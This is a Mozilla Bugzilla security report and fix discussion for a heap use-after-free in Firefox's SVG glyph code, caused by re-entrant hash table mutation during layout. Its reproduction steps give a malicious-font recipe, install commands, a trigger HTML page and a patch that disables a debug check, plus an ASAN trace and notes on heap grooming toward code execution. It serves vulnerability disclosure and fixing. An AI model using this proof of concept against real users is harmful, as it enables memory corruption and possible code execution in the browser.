Heap use-after-free in [@ gfxSVGGlyphs::GetGlyphElement] via re-entrant mGlyphIdMap mutation during SVG glyph document layout
Categories
(Core :: Graphics: Text, defect)
Tracking
()
People
(Reporter: bugmon, Assigned: jfkthame)
Details
(5 keywords, Whiteboard: [adv-main150-])
Attachments
(11 files)
|
189 bytes,
text/html
|
Details | |
|
404 bytes,
patch
|
Details | Diff | Splinter Review | |
|
2.08 KB,
text/plain
|
Details | |
|
3.00 KB,
patch
|
Details | Diff | Splinter Review | |
|
4.05 KB,
application/octet-stream
|
Details | |
|
29.98 KB,
text/plain
|
Details | |
|
1.67 KB,
text/plain
|
Details | |
|
48 bytes,
text/x-phabricator-request
|
Details | Review | |
|
48 bytes,
text/x-phabricator-request
|
Details | Review | |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-beta+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-beta+
|
Details | Review |
gfxSVGGlyphs::GetGlyphElement() uses nsBaseHashtable::LookupOrInsertWith() on mGlyphIdMap. LookupOrInsertWith creates a PLDHashTable::EntryHandle that holds a raw Slot* into the table's heap-allocated entry store, then invokes the user lambda. That lambda calls FindOrCreateGlyphsDocument(), which on first use constructs a gfxSVGGlyphsDocument whose SetupPresentation() performs a synchronous FlushPendingNotifications(FlushType::Layout) on the freshly-parsed SVG glyph document.
If the SVG glyph document contains an SVG <text> element styled with the same font family — and that family resolves to the same platform gfxFontEntry (e.g. a system-installed font) — laying out the inner text re-enters gfxFontEntry::HasSVGGlyph → gfxSVGGlyphs::GetGlyphElement() on the same gfxSVGGlyphs object for each inner glyph. After enough nested inserts, PLDHashTable::ChangeTable() reallocates and frees the entry store. When control returns to the outer LookupOrInsertWith, EntryHandle::OrInsertWith() reads Slot::KeyHash() and then writes an Element* through the stale Slot*, yielding a heap use-after-free read followed by a UAF write into freed memory.
In release builds MOZ_HASH_TABLE_CHECKS_ENABLED is undefined, so there is no re-entrancy guard and the UAF write occurs silently. Triggering currently requires the malicious SVG-in-OpenType font to be installed as a system font so that the inner glyph document and the outer page share the same gfxFontEntry; @font-face web fonts get per-document user-font entries and the inner SVG-as-image document does not inherit the page's @font-face rules.
Build Info
- Branch: main
- Revision: 6164ea4bacaeaed1f617c11911df7fc32f2e6ec2
- Timestamp: 2026-04-02T19:36:24+00:00
Affected Code
File: gfx/thebes/gfxSVGGlyphs.cpp, line 225-233
Element* gfxSVGGlyphs::GetGlyphElement(uint32_t aGlyphId) {
return mGlyphIdMap.LookupOrInsertWith(aGlyphId, [&] {
Element* elem = nullptr;
if (gfxSVGGlyphsDocument* set = FindOrCreateGlyphsDocument(aGlyphId)) {
elem = set->GetGlyphElement(aGlyphId);
}
return elem;
});
}
File: gfx/thebes/gfxSVGGlyphs.cpp, line 146-152
RefPtr<PresShell> presShell = viewer->GetPresShell();
if (!presShell->DidInitialize()) {
rv = presShell->Initialize();
NS_ENSURE_SUCCESS(rv, rv);
}
mDocument->FlushPendingNotifications(FlushType::Layout);
File: xpcom/ds/PLDHashTable.h, line 25-27
#if defined(DEBUG) || defined(FUZZING)
# define MOZ_HASH_TABLE_CHECKS_ENABLED 1
#endif
LookupOrInsertWith holds a raw EntryHandle (Slot*) into mGlyphIdMap's entry store while the lambda runs. The lambda reaches gfxSVGGlyphsDocument::SetupPresentation() which synchronously flushes layout of the embedded SVG document. If that document renders text in the same font, layout re-enters GetGlyphElement on the same mGlyphIdMap, and PLDHashTable::ChangeTable frees the backing store out from under the outer EntryHandle. The Checker re-entrancy assertion that would catch this is compiled only in DEBUG/FUZZING builds, not release.
Exploit Chain
- Victim has a malicious SVG-in-OpenType font installed as a system font. Its SVG table for glyph 'A' contains <text font-family="<same family>">B…z</text>.
- A web page sets font-family to that family and renders 'A', forcing layout (e.g. offsetHeight).
- gfxFont::SetupGlyphExtents → gfxFontEntry::HasSVGGlyph → gfxSVGGlyphs::GetGlyphElement(1) calls mGlyphIdMap.LookupOrInsertWith, allocating the initial entry store and obtaining an EntryHandle pointing into it.
- Inside the lambda, FindOrCreateGlyphsDocument constructs the gfxSVGGlyphsDocument; SetupPresentation() initializes a PresShell and calls FlushPendingNotifications(Layout) on the inner SVG document.
- Reflow of the inner SVGTextFrame builds a text run in the same font; for each of the 57 inner glyphs, gfxFont::SetupGlyphExtents re-enters gfxSVGGlyphs::GetGlyphElement on the same mGlyphIdMap, inserting new entries.
- When the load factor exceeds 0.75, PLDHashTable::ChangeTable reallocates and free()s the original entry store that the outer EntryHandle still points to.
- Control returns to the outer OrInsertWith, which reads Slot::KeyHash() (UAF read) and then writes the key hash, glyph id, and Element* into the freed slot (UAF write of attacker-influenced pointer-sized data into a freed 160-byte heap region).
Steps to Reproduce
- Generate the malicious font: python3 make_evil_font.py evil.ttf (script uses fontTools to build a TTF named 'EvilSVGFont' with glyphs for 'A'..'z' and an SVG table whose glyph1 document is <svg xmlns="http://www.w3.org/2000/svg"><g id="glyph1"><text x="0" y="0" font-family="EvilSVGFont" font-size="100">BCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz</text></g></svg>). Or: base64 -d evil.ttf.b64 > evil.ttf
- Install it as a user/system font: mkdir -p ~/.local/share/fonts && cp evil.ttf ~/.local/share/fonts/ && fc-cache -f
- (For ASAN/fuzzing builds only, to bypass the diagnostic safe-crash and observe the underlying UAF) apply source_patch.diff: in xpcom/ds/PLDHashTable.h change
#if defined(DEBUG) || defined(FUZZING)to#if defined(DEBUG)for MOZ_HASH_TABLE_CHECKS_ENABLED, and rebuild. Release builds need no patch. - Load test_evil.html in Firefox: <!DOCTYPE html><style>.t{font-family:"EvilSVGFont";font-size:100px}</style><div class="t">A</div><script>document.body.offsetHeight;setTimeout(()=>window.close(),3000);</script>
- Observe AddressSanitizer heap-use-after-free in PLDHashTable::Slot::KeyHash via gfxSVGGlyphs::GetGlyphElement (gfxSVGGlyphs.cpp:226). Without the patch, fuzzing builds instead hit MOZ_RELEASE_ASSERT(IsIdle(oldState)) in Checker::StartWriteOp (PLDHashTable.h:141), which is the same re-entrancy condition caught by the diagnostic guard.
Security Impact
- Severity: Moderate
- Attacker capability: Use-after-free read and write of pointer-width data (key hash + uint32 key + Element*) into a freed 160-byte heap allocation in the content process. With heap grooming an attacker could overlap the freed entry store with another object and corrupt it, potentially leading to arbitrary code execution in the content process.
- Preconditions: The victim must have a malicious SVG-in-OpenType font installed as a platform/system font (so the inner SVG glyph document and the page resolve the family name to the same shared gfxFontEntry). A pure web-font (@font-face) delivery does not satisfy this because the inner SVG-as-image glyph document does not see the page's @font-face rules and therefore resolves to a different font entry. After the font is installed, any web page that references the font family and forces layout triggers the bug with no further user interaction.
ASAN Report
==23024==ERROR: AddressSanitizer: heap-use-after-free on address 0x767468d796bc at pc 0x759440eadab1 bp 0x7ffc586c4390 sp 0x7ffc586c4388
READ of size 4 at 0x767468d796bc thread T0 (Isolated Web Co)
#0 0x759440eadab0 in PLDHashTable::Slot::KeyHash() const /firefox/obj-firefox-asan/dist/include/PLDHashTable.h:228:44
#1 0x759440eadab0 in PLDHashTable::Slot::IsLive() const /firefox/obj-firefox-asan/dist/include/PLDHashTable.h:235:45
#2 0x759440eadab0 in PLDHashTable::EntryHandle::HasEntry() const /firefox/obj-firefox-asan/dist/include/PLDHashTable.h:557:42
#6 0x759440eadab0 in nsBaseHashtable<...>::EntryHandle::OrInsertWith<gfxSVGGlyphs::GetGlyphElement(unsigned int)::$_0>(...) /firefox/obj-firefox-asan/dist/include/nsBaseHashtable.h:737:16
#13 0x759440eadab0 in nsBaseHashtable<...>::LookupOrInsertWith<...>(unsigned int const&, ...) /firefox/obj-firefox-asan/dist/include/nsBaseHashtable.h:433:12
#14 0x759440eadab0 in gfxSVGGlyphs::GetGlyphElement(unsigned int) /firefox/gfx/thebes/gfxSVGGlyphs.cpp:226:22
#15 0x759440eadb3b in gfxSVGGlyphs::HasSVGGlyph(unsigned int) /firefox/gfx/thebes/gfxSVGGlyphs.cpp:236:12
#16 0x759440daadaa in gfxFontEntry::HasSVGGlyph(unsigned int) /firefox/gfx/thebes/gfxFontEntry.cpp:287:26
#17 0x759440daadaa in gfxFont::SetupGlyphExtents(...) /firefox/gfx/thebes/gfxFont.cpp:4114:54
#18 0x759440ec3d91 in gfxTextRun::FetchGlyphExtents(...) /firefox/gfx/thebes/gfxTextRun.cpp:1653:19
#24 0x75944abcb5f0 in nsTextFrame::ReflowText(...) /firefox/layout/generic/nsTextFrame.cpp:10860:7
#53 0x75944a686f40 in mozilla::PresShell::DoReflow(...) /firefox/layout/base/PresShell.cpp:10551:11
#58 0x75944215cce2 in mozilla::dom::Document::FlushPendingNotifications(mozilla::ChangesToFlush) /firefox/dom/base/Document.cpp:11634:16
#61 0x759442210df4 in mozilla::dom::Element::GetOffsetRect(...) /firefox/dom/base/Element.cpp:6462:21
#63 0x7594428c9649 in mozilla::dom::HTMLElement_Binding::get_offsetHeight(...) /firefox/obj-firefox-asan/dom/bindings/./HTMLElementBinding.cpp:2987:39
0x767468d796bc is located 28 bytes inside of 160-byte region [0x767468d796a0,0x767468d79740)
freed by thread T0 (Isolated Web Co) here:
#0 0x5a171d457766 in __interceptor_free _asan_rtl_:3
#1 0x75943d13ebe8 in PLDHashTable::ChangeTable(int) /firefox/xpcom/ds/PLDHashTable.cpp:400:3
#2 0x75943d13f49e in PLDHashTable::MakeEntryHandle(void const*, std::nothrow_t const&) /firefox/xpcom/ds/PLDHashTable.cpp:578:10
#8 0x759440ead7ab in gfxSVGGlyphs::GetGlyphElement(unsigned int) /firefox/gfx/thebes/gfxSVGGlyphs.cpp:226:22
#9 0x759440eadb3b in gfxSVGGlyphs::HasSVGGlyph(unsigned int) /firefox/gfx/thebes/gfxSVGGlyphs.cpp:236:12
#11 0x759440daadaa in gfxFont::SetupGlyphExtents(...) /firefox/gfx/thebes/gfxFont.cpp:4114:54
#25 0x75944ad61350 in mozilla::SVGTextFrame::DoReflow() /firefox/layout/svg/SVGTextFrame.cpp:5220:29
#27 0x75944ad23686 in mozilla::SVGTextFrame::ReflowSVG() /firefox/layout/svg/SVGTextFrame.cpp:3361:3
#30 0x75944ad30fc9 in mozilla::SVGOuterSVGFrame::Reflow(...) /firefox/layout/svg/SVGOuterSVGFrame.cpp:427:14
#39 0x75944a686f40 in mozilla::PresShell::DoReflow(...) /firefox/layout/base/PresShell.cpp:10551:11
... (under gfxSVGGlyphsDocument::SetupPresentation → FlushPendingNotifications, inside the outer LookupOrInsertWith lambda)
previously allocated by thread T0 (Isolated Web Co) here:
#0 0x5a171d457b29 in ___interceptor_calloc _asan_rtl_:3
#1 0x75943d13f72d in PLDHashTable::MakeEntryHandle(void const*, std::nothrow_t const&) /firefox/xpcom/ds/PLDHashTable.cpp:559:28
#7 0x759440ead7ab in gfxSVGGlyphs::GetGlyphElement(unsigned int) /firefox/gfx/thebes/gfxSVGGlyphs.cpp:226:22
#8 0x759440eadb3b in gfxSVGGlyphs::HasSVGGlyph(unsigned int) /firefox/gfx/thebes/gfxSVGGlyphs.cpp:236:12
#10 0x759440daadaa in gfxFont::SetupGlyphExtents(...) /firefox/gfx/thebes/gfxFont.cpp:4114:54
#17 0x75944abcb5f0 in nsTextFrame::ReflowText(...) /firefox/layout/generic/nsTextFrame.cpp:10860:7
... (outer page reflow of <div class="t">A</div>)
SUMMARY: AddressSanitizer: heap-use-after-free (/firefox/obj-firefox-asan/dist/bin/libxul.so+0x16abdab0)
Shadow bytes around the buggy address:
=>0x767468d79680: fa fa fa fa fd fd fd[fd]fd fd fd fd fd fd fd fd
==23024==ABORTING
Updated•5 months ago
|
Comment 1•5 months ago
|
||
I have a feeling this belongs in layout: text but I'll try graphics: text first.
| Reporter | ||
Comment 2•5 months ago
|
||
| Reporter | ||
Comment 3•5 months ago
|
||
| Reporter | ||
Comment 4•5 months ago
|
||
| Reporter | ||
Comment 5•5 months ago
|
||
| Reporter | ||
Comment 6•5 months ago
|
||
| Reporter | ||
Comment 7•5 months ago
|
||
| Reporter | ||
Comment 8•5 months ago
|
||
Comment 10•5 months ago
|
||
(In reply to Bugmon [:jkratzer for issues] from comment #0)
- Generate the malicious font: python3 make_evil_font.py evil.ttf (script uses fontTools to build a TTF named 'EvilSVGFont' with glyphs for 'A'..'z' and an SVG table whose glyph1 document is <svg xmlns="http://www.w3.org/2000/svg"><g id="glyph1"><text x="0" y="0" font-family="EvilSVGFont" font-size="100">BCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz</text></g></svg>). Or: base64 -d evil.ttf.b64 > evil.ttf
- Install it as a user/system font: mkdir -p ~/.local/share/fonts && cp evil.ttf ~/.local/share/fonts/ && fc-cache -f
I asked claude if this exploit would work with a font that the attacker delivers via the web page and it said no, it had to be an installed system font. So sec moderate seems high for that.
| Assignee | ||
Comment 11•5 months ago
|
||
Hmm, this is interesting -- according to the spec, <text> elements are supposed to be ignored within SVG-glyph documents. But I guess we're not enforcing that properly.
| Assignee | ||
Comment 12•5 months ago
|
||
The suggested fix here in gfxSVGGlyphs looks OK. The other thing I think we should also do is make SVGTextFrame methods bail out if the frame belongs to an svg-glyphs document, because (per spec) text elements aren't supported there so we shouldn't even be attempting to reflow or paint them.
| Assignee | ||
Comment 13•5 months ago
|
||
Updated•5 months ago
|
| Assignee | ||
Comment 14•5 months ago
|
||
(clauditor-suggested fix)
Comment 15•5 months ago
|
||
| Assignee | ||
Comment 16•5 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D293133
Updated•5 months ago
|
Comment 17•5 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined/Reason for urgency: sec bug (UAF, potential path to RCE), but not sec-high due to requiring a malicious font to be locally installed; not reachable via webfont alone
- Code covered by automated testing?: no
- Fix verified in Nightly?: no
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Straightforward patches to avoid holding a hashtable reference across potential mutations, and to avoid creating frames for unsupported elements in svg glyphs
- String changes made/needed?: none
- Is Android affected?: yes
| Assignee | ||
Comment 18•5 months ago
|
||
(clauditor-suggested fix)
Original Revision: https://phabricator.services.mozilla.com/D293134
Comment 19•5 months ago
|
||
https://hg.mozilla.org/mozilla-central/rev/09e01a4c0787
https://hg.mozilla.org/mozilla-central/rev/fac2a2af3b43
https://hg.mozilla.org/mozilla-central/rev/8e9225ddb55e
Updated•5 months ago
|
Updated•5 months ago
|
Updated•5 months ago
|
Updated•5 months ago
|
Comment 20•5 months ago
|
||
| uplift | ||
Updated•5 months ago
|
Updated•5 months ago
|
Updated•22 days ago
|
Description
•